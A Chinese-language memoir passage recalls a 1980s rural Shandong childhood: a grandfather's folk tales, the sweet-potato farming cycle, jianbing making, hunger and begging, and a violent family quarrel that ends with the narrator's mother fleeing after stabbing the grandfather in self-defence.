橱柜门上贴着一副年画,一个面若银盆的大闺女,笑嘻嘻地,穿着大红的褂子,手里捧着一朵粉朵绿叶的牡丹。画的左肩上是四个字:春色满堂。关于其中的“色”字该怎么读,二姑家的二表姐跟爷爷各执一词。二表姐力证读“涩”,爷爷非说念“四”,我那时还没有入学,读惯了爷爷说的“四”,一时不太相信二姐的话是真的。 长大以后,我才知道那个穿着红衣裳的大闺女是电视剧《红楼梦》里的史湘云,可是,那时候,爷爷跟我说,她是孟姜女。孟家和姜家是邻居,两家中间隔着一堵墙。孟家种了一棵小葫芦,葫芦秧长长了,爬过墙头,爬到了姜家。后来,小葫芦秧结了一个小葫芦。等到小葫芦成熟了,两家都争着要这个小葫芦。孟家说,这葫芦该是孟家的,姜家说,这葫芦该是姜家的。这个小葫芦到底该归谁呢?后来,两家找来了官儿。官儿说,既然两家都要争这个葫芦,那就把它锯开,一家一半吧。两家找来一把锯,把小葫芦给锯开。小葫芦被锯开以后,里头坐着一个小姑娘。给小姑娘起个什么名字呢?两家想了想,就给这小姑娘起名叫孟姜女。 我听了爷爷的故事,还是不明白:“这孟姜女到底是谁家的呢?她在谁家吃饭呢?” 我爷爷说:“她就在两家轮流过啊。这个家过几天,那个家过几天啊。” “爷爷,葫芦种子好吃吗?” “葫芦种子不好吃。葫芦种子吃了肯得瘿脖子!” 爷爷屋里间有两个装粮食的大缸。一个小一点儿,高挑一点儿,闪着亮亮的棕黑色釉质,用来放小麦。另一个没有亮亮的釉质,是暗淡的灰色的瓦片做的大瓮,用来放玉米。我在玩捉迷藏的时候爱往里头藏。 西屋是三叔住的地方。靠西山墙,是一个大囤。那大囤纯粹是用长长的窄窄的席子一圈圈盘起来围成的圈。囤的上头是白白的干干的地瓜干儿。 晒干的地瓜干儿囤在囤里,是一年的口粮,也是一年的花销。爷爷要用钱的时候,就装上两袋子地瓜干儿推着去张庄卖。我自然会跟着拉车子。一条绳子系在小推车前头靠底下的横梁上,我拉着。下了荆堂家东的坡,再登上奔张庄的岗,就到了张庄。收粮食的是一个五十岁左右的小老头。他戴着一顶崭新的藏青色的帽子,矮墩墩,温和和,笑眯眯,白胖胖。因为张庄是爷爷的岳家,对方应该叫我奶奶姑娘,再加上爷爷常来,彼此也就很熟悉。他上前来跟爷爷搭话,问候一下我奶奶,就把地瓜干儿给过了秤,然后带着我爷爷去倒袋子,找钱。爷爷拿了钱,买一两件家用的东西就回家了。记忆中爷爷从来没有买过衣裳。他的春夏秋冬的衣裳仿佛可以年年穿。 我爷爷个子不高。他剃着光头,有一张看起来像上弦月一样的脸堂。他的眼睛长得偏上,是单眼皮,面皮很干净,紧贴着骨头,他的面皮不胖,有一层薄薄的肉,光滑透明的纹理里沁着一道道红血丝。因为他也会剃头,有着得天独厚的条件,所以他的脸上始终很干净,只在上嘴唇上留着一层剪地整齐的胡子。他自以为自己很干净,可是旁人觉得他很脏。我妈妈曾经嫌弃地跟我说,我爷爷喝糊豆的时候会把糊豆粘在胡子上。我奶奶也经常嫌我爷爷吐痰,吐的跟屎一样。我爷爷长年吸烟,经常拿着根旱烟袋,可是他的气色很好。他的下巴上留着一撮不长不短的山羊胡子,衬着他的下巴更显细长了。我那时候只以为爷爷剃头、刮胡子是寻常事,现在想来我爷爷是不是也很爱美,至少是个自以为很讲究的美男子? 现在想来,我爷爷家里里外外的布局、使用的物件器具,哪一样都透着匠心,透着美感。幸好我爷爷没钱,否则他会把他的家布置的更美吧。可惜,他家有的,我家都没有。我那时候只知道我爷爷家什么都好,我家什么都不好。我喜欢我爷爷家,不喜欢我家。我那时候还不懂得,爹富而儿贫,这里头也透着必然的因果吧。我爷爷奶奶这辈子尽顾着自己享受了。他们还有个小三呢。说起来这也是一个正当的理由了。只可惜,他们加上他们的小三,也还是一直住在他们的三间老房子里。我爸爸的房子是他自己起石头盖的,二叔没有房子。这很能说明,我爷爷奶奶没有为他们的三个儿付出什么心思和辛苦。 我爷爷常常仰起他的山羊胡子,自得又自负地说:“说三纲,道五常,哪朝哪代,有我不知道的!” 我爷爷家里有一本连环画,说的是罗通惹恼了奸臣苏定方。唐王听信谗言,要将罗通问斩。程咬金之妻七奶奶,大闹金殿,追打昏君唐王,又大闹法场。 那时候我还不识字,我爷爷经常拿着那本连环画讲给我听。时间长了,那画上每一页的故事我都知道了。 我跟着爷爷在西岭上包山芋沟。爷爷挥斥着铁锨,铲土、培土,眼面前,衰草连地,常有蟋蟀蹦来蹦去,爷爷就给我讲关于蟋蟀的故事。这一天,项羽追杀刘邦,刘邦日夜逃奔,夜里累得在地里倒头就睡。忽有一只蟋蟀往他脖子里钻,他一下把蟋蟀撕成两半。这时,他忽听耳边杀声震天,原来是敌兵迫近。刘邦激灵灵醒来,赶紧起身逃奔。到这时,他这才明白,蟋蟀扰他酣睡原来是为了救主报信。刘邦惭愧自己误杀那忠心的蟋蟀,就掐断一节草棒,把蟋蟀的脖子接上,那忠心救主的蟋蟀果然又活了起来。 不仅蟋蟀可以救主,鸽子也会护主。那一日,项羽追杀刘邦,刘邦慌乱之下藏匿于枯井之中。楚军追至,见井围之上站立着一只鸽子,以为井中无人,就不再搜寻,刘邦因为这只鸽子,才能化险为夷,捡回一条性命。 爷爷说,你抬头看看东边,就在离东山不远的马庄后山上,有一块跑马石,那就是刘邦跑马的地方。我隐约记得那么一座山,那么一块跑马石,那儿有几棵松树。但是我不可能见过刘邦,我只是仿佛看见爷爷,他背着他那锻磨的小皮箱,低着头,走过脚下的山石,从跑马石前走过,然后远走他乡,四处云游去也。 4.山芋的一生 爷爷包的山芋沟是准备种山芋的。北山里的人,一年到头,打交道最多的就是山芋。二三月份,爷爷开始畦山芋了。爷爷、我,三叔和奶奶,一家子推着胶车子,架上筐子,来到家东的山芋窖子旁边。爷爷腰里系上粗粗的绳子,三叔在山芋窖子上面拉着。爷爷顺着绳子下去到山芋窖子里头,把腰里的绳子解下来,把地窖子里头的山芋装满筐子,把筐子搭上绳子上的铁钩子,三叔拉着绳子,把山芋从窖子里一筐筐拉上去。我趴在山芋窖子门口往下看,黑洞洞看不到底。三叔鼓动我,让我也下到窖子里。我其实不太敢去,可是三叔一个劲儿地鼓动我去。奶奶也在一边,笑笑地看着。“去吧!省儿!没事儿的,恁爷爷也在窖子里呢!”我没有办法,被我三叔在我腰里系着绳子,沿着周围都是土的窖子慢慢地沉下去。我被下放了好一会儿,才落到了窖子底。地窖里黑洞洞的,一股子沙土混合着山芋的味道。 山芋推回家,爷爷在天井东边磊起了一个长方形的花圃,里面一个个、一排排地栽满了山芋,花圃上面盖上塑料布,搭起一个小“宫子” 。慢慢地,这些光秃秃的山芋发出白白红红的嫩芽。这些小芽儿慢慢地长高长大,变成了翠绿色的山芋叶子。顶着翠绿色的山芋叶子的老山芋,成了山芋母子。山芋母子此时耗尽了养分,有的已经腐烂了,整个天井里散发着腐败的山芋母子的味道。山芋母子一点都不好吃,被扔到一边。只留下一根根山芋秧苗。 春天,压山芋秧子了。男女老少,扛着撅头,挑着铁桶,粪箕子里背着山芋秧子,直奔西岭而去。西岭的地土不好,半成黄土,半成火焰色、土黄色的烂岩石。包好的山芋垄儿很容易土崩瓦解。爷爷挥起撅头,在山芋垄儿上轻轻一刨,就刨出一个大坑,退着刨,每隔扎把儿长的距离刨一个坑,于是,一个个的山芋坑整齐地散布在山芋垄儿上。 我拿着山芋秧子,跟着刨坑的人往前进,一个坑里放一棵山芋秧子。奶奶和三叔去西岭下的水沟里挑来水,我用舀子往一舀舀往坑里浇水。等水耗下去了,我再蹲下身,一手扶起倒伏在坑里的秧,一手把刨起来的土胡搂到坑里,把山芋秧子培起来。 经过这最后一道程序,一棵棵山芋秧子在阳光下站立了起来。虽然那秧苗枝叶有些打焉儿,但是毕竟是迎着微风站立了起来。一棵棵,翠绿的,为这春日的西岭增添了生气。黄土垄上,是一棵棵幼小的秧苗,黄土陇下,是山里人憋着的期望。 山芋秧子很争气,很快地生长,亭亭净植的秧苗越长越长,直至匍匐、蜿蜒在山芋沟里,生出苍劲的根须,紧紧抓住西岭那贫瘠的土地,精壮的身躯顶着双排的叶子,整个山芋地里是一片的翠绿。 山芋沟里会有瞎杧茧,说不定还会有蛇。有人看见山芋沟里的“白了线” ,也就是白蛇,追着人跑,比人窜地还快。人在山芋沟里跨出一大步,它早已“飞”到人的前头了,像是有了道业。听了这些,我很是害怕,觉得那是电视剧里的白娘子来到了山芋地里。每次跨过山芋沟,我都是飞快地跳走。山芋秧子长得壮,说明山芋沟里的山芋长得好。 十月里,刨山芋了。家家户户,老头子老嫲嫲,壮劳力小伙子,小媳妇大闺女,推着胶车子,扛着?头、挠钩,全到地里去。拉起?头、挠钩刨起来吧。“砰”一下下去,粉皮、白肉的山芋就露出了头儿。再下去一?头,连土带山芋就一起带了出来。刨山芋的弯腰刨,后面的人蹲在地上,拉着筐子拾山芋。满地里都是带着新鲜的泥土的山芋的味道。 有的山芋是多胞胎,一根藤上结地滴啦八挂的,个个都是瘦长身材。有的是双胞胎,拾山芋的人一手拎起两个。这些双胞胎,有的两个都是瘦长型,有的两个都是椭圆的胖子。还有的就是一个独生子,大大的,圆圆的,憨憨的。要是刨的时候没瞄准,“咔嚓”刨在一个胖胖的山芋上,一下劈出来沙白的流着汁水的瓤,那才叫人心疼。 刨出来的山芋都要装车,推回家。推胶车子的人,弯腰,弓背,头埋在盛山芋的筐子底下,咬着牙,在窄窄的几乎无路可走的茅草丛生的山路上,打着滑儿,愣是走出一条路来,低着头推到家。 满西岭的小推车,来来往往,地上是小推车落下的山芋秧子山芋叶子,还有吃地胖胖的瞎杧茧,被车轱辘碾过,发出“砰砰”的声音。瞎杧茧,虫如其名,青绿色的丑陋的大虫子在山芋地里蠕动,吃山芋叶子,女孩子看到它心里总会发毛,要是不小心踩到了更是吓得要命。但是它的蛹像是一颗大花生一样,外头有着棕黄色的油亮亮的壳,壳上还有一圈圈的螺纹。动一动它,它的针尖儿一样的尾巴就会蠕动起来,像是一个裹在包被里头的小娃娃,看起来并不是很可怕。 黄褐色的蛹炒出来香香的。爷爷炒来吃过,我妈妈也炒过。我们把那些黄色的蛹捡来,带回家给我爷爷炒。我爷爷只炒一小盘子,他放的油多,炒好了,一个个油亮亮的,码在盘子里,吃一口儿,香香的。我妈妈炒的多,她一炒一大碗,又舍不得放油,炒好了,一个个干巴巴地堆积在大碗里,吃起来甜甜的,干干的。 秋收了,蚂蚱在地里欢乐地飞,它们鼓起翅膀,像螺旋桨一样飞过去,锯子一样的大腿冷不丁地蹬到人的大腿上,人的大腿上就留下一道红红的印。秋天的蚂蚱,蹦跶不了几天了。因为我们可以逮它们回家。 蚂蚱飞,我们追,扑过去,抓在手里细端详:绿色的蚂蚱绿裙装,那绿裙还有内衬,薄薄银银,闪闪亮亮,是人间天上最漂亮的衣裳。抓住蚂蚱以后,把它两只大翅膀下头的小翅膀各自掐掉一截儿,它就飞不远了。薅一根草棒子,从蚂蚱脖子后头捅过去,把蚂蚱成串儿地插在草棒子上,它就彻底飞不动了。棕褐色的蚂蚱,想必它的肉质也饱满成熟了,回到家下锅里一炒,硬硬黄黄的蚂蚱肉加上大铁锅的油盐味儿、蚂蚱翅膀的焦糊味儿,真是满嘴喷香呢。 山芋刨回家是要负责的。刨完山芋,家家户户又开始擦山芋干子了。最开始用“擦耪子”擦山芋。“擦耪子”是一个洗衣板那么大的木板,中间横嵌着一个刀片,那刀片有镰刀刀片那么大。大人们擦山芋,小孩子跟着把山芋干子装起来,倒到框子里。等把框子装满了,大人再推起胶车子,去地里晾山芋干子。把擦好的成堆的山芋干子均匀撒开,撒到地里,再去把那些重叠的山芋干子挪窝晾开,哪里有缝隙,就再补放几块。 娴熟的大人晾起山芋干子来,蹲在地上,该挪窝的挪窝,该补空儿的补空儿,动作麻利,晾出的山芋干子一片片随机布置,有大有小,浑然一体,灵动飘逸。我可能是因为年纪小的缘故,又或许是天生的死板,就是不习惯这样先挥洒再补充的方式,非要自己提上一篮子山芋干子,从地头开始,一块一块地排,排地笨笨拙拙整整齐齐。 山芋干晾晒在地里。晾完以后就祈祷有几个响晴的好天气,然后再一家子一起,一块地一块地收山芋干子。如果哪天突然来了雨,还要拿起化肥袋子,推起小推车,赶紧去抢收,总不能让这全家的口粮烂在地里吧。有人家夜里还会睡在地里看山芋干子,防止夜里有小贼去偷。收好的山芋如果不看好,放在地里甚至家里,被人家夜里扛走也是有的。所以不得不谨慎。老温的大儿子温如意大爷,他有一次夜里去看山芋干子,自己睡着了,迷迷糊糊中,听到耳边有动静,等他醒来,发现有人正在偷他家的山芋干子呢。小贼见他醒了,丢下装了半天的山芋干子,出溜跑了,他起来把小贼装好的两袋子山芋干子轻轻松松推回了家。 地里的山芋也是有人偷的。田间地头过往的小孩,看见人家地里露出头的红红的山芋,瞅瞅四下里无人,赶快徒手扒一个出来,拿到空地里,用秫秸棒子盖上,点上洋火烤烤吃。还有一种高手小哥,说是在人家刨完山芋的地里拾人家落下的山芋,但是走到还没有动工刨的山芋地边,看见露出头的胖大山芋,“砰”地一下把?头甩上去,收杆起?头时,那个胖大山芋就被准确又巧妙地“钓”起来了。 十月里,山芋秧子完成了它的使命,懒散地卧在地里晒太阳,等晒得焦干,晒得发黑,老百姓又该去该拉山芋秧子了。家家户户推着胶车子在西岭上来来回回。也不用筐子,把满地山芋秧垛成一垛,打个捆,系起来,放到小推车上,再用绳子勒紧绑好,小推车一推,不怎么费劲就推回家了。 黑色的山芋秧子捆成一大捆,绑在胶车子上,一个人推,一个人跟着,走过地头上长满荒草的小路。秋日的阳光照耀在人们的身上,个个都是乐呵呵,微笑着。庄西头的纪臣大爷来推山芋秧子了。纪臣大爷个子高高的,瘦长脸,黄皮肤,他穿着黄绿色的中山装,像个当兵的。纪臣大娘个子矮矮的,留着二道毛子,双眼皮深深的,大眼睛常常笑着。 庄东头,“小猪秧”的妈妈也来了,坐在柿树底下歇歇儿。她穿着粉色的秋衣,笑的最开心,黄黑色的脸上,笑纹挤在一起,像一朵绽开的秋菊。她长得比纪臣大娘年轻,比纪臣大娘懂风情。她在吃糖。纪臣大爷看见她 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妇女们为了烙煎饼要费好一番功夫。头几天就要淘粮食,把地瓜干儿和要搭配的玉米、小麦泡泡,淘洗一下,分放在两个铁桶里。条件好的,掺的小麦多一点,条件不好的,掺的山芋多一点。第二天,五更头儿里,天黑沉沉的,我奶奶和几个早就约好的妇女,就呼朋引伴地挑着挑子,去附近的张庄“嗑糊子”去了。张庄到荆堂有五六里路。妇女们走到了张庄,“嗑糊子”那家男的还没起来。妇女们把钩担和铁桶放在地上,黑夜里排着号等着,等急了就去他家喊人。那男人来了以后,开动机器,妇女们挨个把两个铁桶里淘洗过的粮食,倒进机器的斗子里,机器一声响,白色的糊子就出来了。把糊子刮到桶里,两桶粮食,换来两半桶糊子,挑回家去烙煎饼吧。 到家以后,把桶里的糊子倒进两个瓷盆子里,家里的三脚的鏊子支好了,用自己缝的专门擦鏊子的厚厚方方的大抹布,擦上豆油,把鏊子擦亮了。用干干的麦秸烧热鏊子,左手舀上一勺子糊子,倒在鏊子上,右手拿起烙煎饼的竹撇子,赶着那勺糊子在热鏊子上走一大圈,再朝内循环走几个小圈,直到圈子在鏊子最中间缩成一个小黑点。用竹撇子赶着最后一点糊子,把这最后一片光鏊子顶糊上,顺势把糊子厚的地方刮薄一点,一个圆圆的煎饼就烙成了。鏊子底下填一把麦秸,旺旺地烧起来,鏊子上的煎饼变得黄黄的,香香的。竹撇子打边儿上慢慢撇开一个口子,沿着鏊子慢慢伸进去,将煎饼跟鏊子分开,一整张煎饼就从鏊子上揭了下来。 刚烙好的煎饼香香的、脆脆的。鏊子顶上烤黄的几片煎饼更香更脆。新煎饼好吃,烙煎饼的妇女可是受了罪。尤其是夏天。可是,全家人不能不吃饭,再热的天气,妇女也要坐在鏊子跟前烙煎饼。身旁堆着麦秸,鏊子底下烧着火,头上顶着太阳,脸上淌着汗。 往前,年头儿不好的时候,有的人家因为穷,就早早地把自家的女孩儿送到了婆家,当人家的“团圆儿媳妇”,因为年纪小,先在婆家养着,等长大了再跟丈夫圆房。也是因为年纪小,所以不会烙煎饼,烙煎饼的时候就是活受罪。“不会烙煎饼啊,摁着鏊子煎,把手煎地血糊酱烂,想想真可怜!”这是“团圆儿媳妇”唱的歌,我妈妈会唱,我奶奶也会唱。 那时候,烙煎饼是每个妇女必备的本领。谁要是不会烙煎饼,就等于吃饭问题没办法解决。人们见了面打招呼,不是说“吃饭了吗”,而是说“吃煎饼了吗”。小孩子在大街上玩,到饭点儿了,大人们在街上喊:“大伟,回家吃煎饼了!” 吃煎饼,卷大葱,就大酱。拿起一个煎饼,向大缸里挖一勺子大酱,连同大酱里一嘟噜一嘟噜的青花椒,一起抹进煎饼里。煎饼宽大的肚膛里再撸上一根大葱、几根长长的豆角,一起卷上,一口咬下去,“咔嚓”作响。我吃过煎饼,也就过大葱,但是大酱、花椒不常得。真盼着什么时候能够凑齐这几样东西,轮起一个煎饼,大口大口地猛吃一气,让大葱的辛辣在额顶上嗡嗡作响,让嘴巴里充斥着青花椒的鲜麻和大酱的浓香。 我妈妈也晒过大酱,她用发霉的煎饼,放在瓷盆子里,加上盐,放在我家东边那半截屋框子上晒。这样晒出的酱,像老红糖一样,浓浓的、沙莹莹的,是我记忆中最有味道的大酱。我妈妈年轻的时候在娘家每天出去种地,享受不到在家做饭的待遇,就没有烙煎饼的“童子功”,以致于她出嫁以后不会烙煎饼,烙出的煎饼很厚。不好吃,但是压饿。一个大大的煎饼卷儿里头,抹上一勺大酱,青辣椒撕开,让它躺在煎饼宽敞的胸膛里,一起卷上,就是妈妈一顿饭了。妈妈爱吃生鲜的东西。走在田间地头上,有伸出头儿的长长的豇豆角儿、绿豆角儿,她伸手摘下,“咯吱咯吱”地吃起来。 我爷爷奶奶都比我妈妈会做饭。我奶奶烙煎饼的时候,常常趁着热鏊子,做菜煎饼吃。奶奶把大白菜、红辣椒剁成馅子,在煎饼快要烙好的时候,往上倒上拌好的馅子,在鏊子上摊摊,馅子熟了,把整个煎饼在鏊子上卷起来,卷成一个长长的带菜的煎饼卷儿。把煎饼卷儿,拿到菜板上,一段段切开,就是一块块的菜煎饼了。这样的菜煎饼,外面是香香脆脆的刚烙好的煎饼,里面是新鲜的白菜、辣椒,咬一口,鲜鲜的、辣辣的。 关于菜煎饼,还有一段“家”话。一天,我奶奶烙煎饼,爷爷在鏊子边等着吃新煎饼,本来一切都很开心。可是不知怎的,爷爷奶奶却吵架了。等我看到的时候,她们已经结束了战争。奶奶站着,手里攥着?头,眼里含着眼泪,正在跟劝和的邻居老娄奶奶说理。“我做了一个菜煎饼,要给省儿吃的,让他等下一个。他就是不行,非要争着吃!”为了一块菜煎饼,他二人争吵不休,大动干戈。我爷爷好吃,年轻的时候就爱吃独食。儿女长大了都不孝敬。“没用!馋狗不肥!”我妈妈说。 麦口过后,我奶奶又烙了新麦子做的煎饼。咬一口,满嘴儿的麦子的味道。奶奶说:“我烙的这个麦煎饼,没有咸菜也吃的喷香!”奶奶说的是实话。可是,哪家敢天天吃小麦煎饼呢,哪家有那么多小麦呢?家里的粮食不够吃,就去逃荒,甚至去要饭。 印象里有一个老男人,杜村的,身材高大,右手拿着要饭棍,左边肩膀上背着一个胶丝袋子。要来的煎饼、馒头,沉落在袋子底。袋子装不满,长长的袋子口儿绕过肩膀,耷拉在左胸前。袋子口儿上系着一个茶缸子。有的人家给他的汤水,他可以盛在茶缸子里,端在手上,边走边喝。 他端着茶缸子,拉着根要饭棍子,到人家门儿上,低着头,眼光偏向门框那边,目不斜视,笑眯眯地、细声细气地说:“姐姐别生气,姐姐别生气!”他的谦逊的眉眼里又带着点善意的、因为打扰别人而略显愧疚的笑容。那种笑容让人很难生气或者拒绝。小孩子见了要饭的就跟着看。“叫花子!”他们笑着说。每逢谁家办喜事,要饭的就来了,他们买挂小鞭,到主家门上,“噼里啪啦”放了鞭炮,再找个搭档喊喊好,门里头就有人出来,端着鱼肉,拿着馒头,送到要饭的手里。 那个年代,能吃上鱼肉、白馒头,是我们这些小孩都要眼馋的事。有一天,一个老女人来庄上要饭,她看起来也就五十来岁,甚至还不到六十岁,年纪跟我奶奶差不多。她从头到脚穿着跟我奶奶一样的蓝衣裳,只是她的衣裳比我奶奶的新一点,她收拾的比我奶奶干净一点。我奶奶在庄里看到她,友好地跟她搭话儿。 “要够吃头儿了?你吃饭了吗?”我奶奶客客气气地问她。 “还没吃。正准备找个肃静地方吃的。”她说。 “到俺家喝口儿茶吧?”我奶奶说。 “行!”她就跟着我奶奶一块儿到了我奶奶家。 该吃晌午饭了,她从她的袋子里拿出来半个白馒头,而我跟奶奶要吃我们的山芋。 “你去吃山芋去吧,省儿。到晌午了。”我奶奶跟我说。 “哦。”我嘴里答应着,心里想的是那个老太太手里的白馒头。她会不会出于友好也给我半个馒头吃吃呢。可是,没有。她自顾自地吃她自己的。 我看看奶奶堂屋桌子上酱色的瓷盆子。瓷盆子里头装满了小山芋。那些小山芋羔子,个个儿都是小手指头那么大,一个个小巧玲珑,刚煮好,盛了满满一大瓷盆子,还带着热气,像是一个个紫色的小老鼠,本来吃起来应该很香甜的。可是我看着那个女人吃着要来的白馒头,我的心里痒痒的,瞬间觉得我奶奶桌子上的那一瓷盆子的山芋不好吃了。 那个老女人吃着白馒头,看着我吃山芋,她的眼神儿里满是对自己的正确道路的认可,和对我手里的山芋的鄙夷。而我,卑微的拿着山芋,很羡慕她能舍得下脸来出去讨生活。我简直要跟她一起去了。是的,我有点想跟着她一起去,一起到人家的门儿上,也去向人家讨一个白馒头。 “你吃山芋吧?我上午煮的。”我奶奶拿了一块小山芋,笑着跟她说。 “我不吃!我在家里吃地够够的了。”她说。这个她说的倒是实话。我也把山芋吃地够够的了。可是我也是没有办法,还是得吃啊。 我奶奶笑着自己去吃山芋。 “我给你倒碗茶喝喝哈?”我奶奶客气地跟她说。 “行。”她说。她并没有什么感激我奶奶的意思。也许是因为她看出来我奶奶家很穷,穷的只能吃山芋了吧。 我吃着手里的山芋,期待着她能出于友好给我半个馒头吃吃。可她还是自顾自地吃着。并没有一点儿想给我吃一点儿馒头的意思。而我的奶奶,她还是那么温和地跟她说话,一点儿也没有埋怨她的意思,一点儿也没有要向她讨半个馒头给我吃的意思。我有些埋怨我奶奶把她给带回家来了。我也有点埋怨我的奶奶,为什么不跟她讨半个馒头给我吃呢。我又想到了我的妈妈,如果是我妈妈,她一定会舍下面子来向她讨半个馒头给我吃的吧。 我奶奶吃了几块山芋就去洗头了。她洗好了头,站在天井里梳她的头发。 “你的头发恁长的?”那个老女人说。 “是的,我平时都窝个小缵儿。扎起来。”我奶奶说。 “我的我都剪了,你的不剪剪?”她说。 “我嫌剪来剪去的费事,麻烦。”我奶奶说。 “剪个二道毛子,也显得洋气。”那个老女人说。 “是的。我看你收拾地蛮利索的。穿得干干净净的。”我奶奶说。 “俺是出来混饭吃的,俺能不穿得干干净净的嘛。不穿得利利索索的人看不起。”她说。 “俺不行。俺得干活儿,穿不干净。你看我这大襟子上,都是山芋粉子。都搓不干净了。”我奶奶说。她说完就去屋里找出我爷爷的剃头刀子,坐在天井的水盆边去刮她的脚底板。 “你怎么刮你的脚丫子的?你别刮淌血喽。”那个女人说。 “我脚上长了鸡眼了。我赶集的时候,看人家花钱挑,我也想花两毛钱挑挑的。我寻思寻思,还是省几个儿吧,就没挑。”我奶奶低着头捧着她的脚说。 “我脚上也长了鸡眼了。走起路来,跟圪针扎的样。”她说。 “是的。”我奶奶低着头吃力地捧着她的脚说。 “你忙吧,我走了。”她说。 “你走啊,不坐会儿了?”我奶奶问。 “不坐了。”她说。这个吃白馒头馋我的老女人终于走了。我对她是没有什么好印象了。 那时的我们,平时能够吃一顿“渣豆腐”都算是改善伙食了。所以,有一些山东人早几辈子就逃荒去了东北。姓宋的本家里有几户人家早早地去了东北,在东北安了家。 6.“我的肋叉一下雨就疼!” 我爷爷带我包山芋沟,他抄起铁锨铲土的时候,经常跟我说:“我这个左胳膊不加力了,恁妈妈给我捅的!”爷爷只说,他的胳膊被我妈妈捅了,就是不说我妈妈为什么捅他,在什么情况下捅的他。我妈妈跟我说过事情的经过,起因是我爸爸妈妈要逃荒,去东北。 我爸爸先前也去过几次东北。二叔后来跟他一起去,等我爸爸回来的时候,我二叔没有回来,他决定在那里扎根。二叔跟我爸爸一样,脾气好,为人厚道,他跟我爸爸感情也最好。后来,我爸爸跟我妈妈结婚以后,我爸爸又只身去过一次东北,撇下我妈妈自己在家。晒山芋干子的季节,夜里,下雨了,我妈妈要去石塱里拾山芋干子,她一个人害怕,就带上她养的小黑狗来给她作伴儿。 我妈妈在我家里生的我,1984年,鼠年,那年是闰十月。十月二十三,早上十点钟,我降生了。我奶奶做了油饼,招待接生婆。那接生婆给我妈妈接生完,等着我奶奶烙好了油饼,她痛痛快快吃完了饭,才对我爸爸说:“她生孩子的时候,挣断了一根血管儿”。我妈妈生完孩子,感觉自己下身儿一直出血,以为是生孩子以后残留的血,哪知道是挣断了血管儿。听接生婆子这么一说,我爸爸赶紧用胶车子把我妈妈推到文峰山医院。挂号、排队,我妈妈浑身的血已经快流干了。人浑身一共才有几碗血啊。因为家里穷,没有钱补血,只能接上血管,推回家。回家以后,也没有钱买猪蹄子补身体。我妈妈就得了贫血症儿。我妈妈一向身体很好。但是因为贫血,不能干重活儿,一干重活儿就要犯贫血。 后来,在我两三岁的时候,我妈妈又怀孕了,家里实在缺吃少喝,我妈妈营养不良,贫血病又要犯了。我爸爸带着我妈妈去萝村挺和医生那里去看。 挺和医生中等身材,微胖的身躯,穿着一件军绿色的褂子。我妈妈跟他说:“大哥啊,俺跟家军要上东北了。我怀孕好几个月了,怕路上劳累,小孩儿受不住,你给俺打个保胎针吧。” 挺和医生看了看我妈妈,跟我妈妈说:“大妹妹啊,你身子骨儿太弱了,别要这个小孩儿了。我给你开副药,你把这个小孩儿打了吧!你要是要了这个小孩儿,你自己的身体受不住啊!要是万一有个闪失,大人小孩儿可能都有危险!” 我妈妈说:“没事儿的大哥!俺跟家军为孩儿没干过亏心事。老天会保佑俺的。大哥,我跟家军有了这个小孩儿不容易。你可别给我开打胎的药哈!” 挺和说:“那行吧,大妹妹。我给你打上维生素B12,是补血的。你回去以后注意休息。” 此去东北,路途遥远,我父母在家做了火烧,准备带到路上吃。我还隐隐约约记得那些小烧饼,是难得的用小麦面粉做的,面和的很杠,一个个跟月饼一样大小,厚厚的,硬硬的。我爸爸妈妈要去东北逃荒了。 听闻东北那边儿人野道,是孔圣人没有走到的地方。我妈妈恐怕路上有什么闪失,就找了一个镰刀头子,在水盆子边上架起磨刀石,自己蹲在水盆子边上,用镰刀头子磨了一把小刀,用纸壳子包裹起来,别在自己裤腰里,用来防身。 我爷爷奶奶听说他们要去东北,都不高兴,怪我爸爸妈妈远走笑笑,不能在家孝顺他们。 第二天就要去东北了,我妈妈去我爷爷奶奶家,跟她们说道说道,让爷爷奶奶不要怪她和我爸爸,她们实在是过不下去了。 我妈妈走到爷爷奶奶家西墙外,就听到爷爷奶奶的声音,爷爷奶奶很生气,正在跟文利大娘指责我爸爸妈妈。 我奶奶说:“让喜儿把吃我的奶还给我!” 我爷爷说:“都是那个奋事的女人,要不,喜儿也不会去东北!” 我妈妈知道爷爷奶奶还在生他们的气,就走到屋里,对我爷爷说:“爹啊,你不喜我,我明天就去东北了,不在荆堂碍你的眼了!俺跟家军去东北是去逃荒的,俺不是去享受的!恁可别怪俺!俺去东北还为的是躲计划生育,养小孩儿!俺不走,在荆堂,粮食不够吃的,俺大人小孩儿吃不上喝不上,都得挨饿!有了小孩儿,也得被计划生育的给抓了去刮了!俺去东北,家军在那里刨参土,能给大人小孩儿混口吃的。有了小孩儿,计划生育的也不能给抓到。俺给您说明,俺明天就走了,恁可别怪俺了!” 我爷爷二话不说,站起身来就往屋门外走,我妈妈、文利大娘,都以为他要出去上茅房,哪知道,他走到屋门口儿,一把拿过靠在墙上的那把小?头,照我妈妈腰上就夯!我妈妈躲闪不及,被打倒在地。我爷爷的?头接二连三地打在我妈妈身上,文利大娘吓坏了,拼死拼活地拉架。我妈妈顾着肚子里的孩子,也挣脱着往大门外爬。我爷爷轮着镢头穷追不舍。 我爷爷奶奶属狗,我爸爸妈妈也属狗,我爷爷大我妈妈两旬。那年,我妈妈三十岁,我爷爷才五十四岁。文利大娘和我妈妈两个女人,跪在地上,四只手抓着我爷爷的?头,都夺不下来。我爷爷把?头猛一晃,我妈妈跟文利大娘就一起被扑倒在地。我奶奶抱着我,在一旁观看。文利大娘一边拉架,一边对我妈妈喊:“妹妹,你快跑!妹妹,你快跑!” 我妈妈已经退到大门外,还是无法脱身。她抽出腰里防身的镰刀头子,朝我爷爷举着?头的肋叉就扎过去。我爷爷应声倒地。我还记得那血,大门外,黑红黑红的血,流了一滩。 “喜儿家的把喜儿的爹杀了!杀人了!”我奶奶立刻开嗓大喊,立刻有人围了上来,要抓我妈妈去蹲法院。我妈妈撒腿就跑。我妈妈在前,他们在后。一直追到家东河沿儿。 我妈妈钻到了苇子汪里,战在齐腰的水里。岸上的人不敢下水了,就在边儿上等。我奶奶抱着我,诓我妈妈道:“省儿她娘啊,大省儿找你了,你来看看她!” 我妈妈知道我奶奶是诓她的,任凭我奶奶怎么哄,她就是一个不吭声儿。 岸上的人等了一会儿,迟迟不见我妈妈的踪影儿,拿不准她是跑远了,还是躲在苇子汪里。天黑了,蚊子上来了,他们经不起蚊子咬,等躁了,就走了。我妈妈这才顺着苇子汪,一路北上,到了别的庄上。 到了人家庄头儿河沿儿,我妈妈看看自己身上,满是鲜血。就把自己的小褂儿脱下来洗洗,拧干,再穿上。 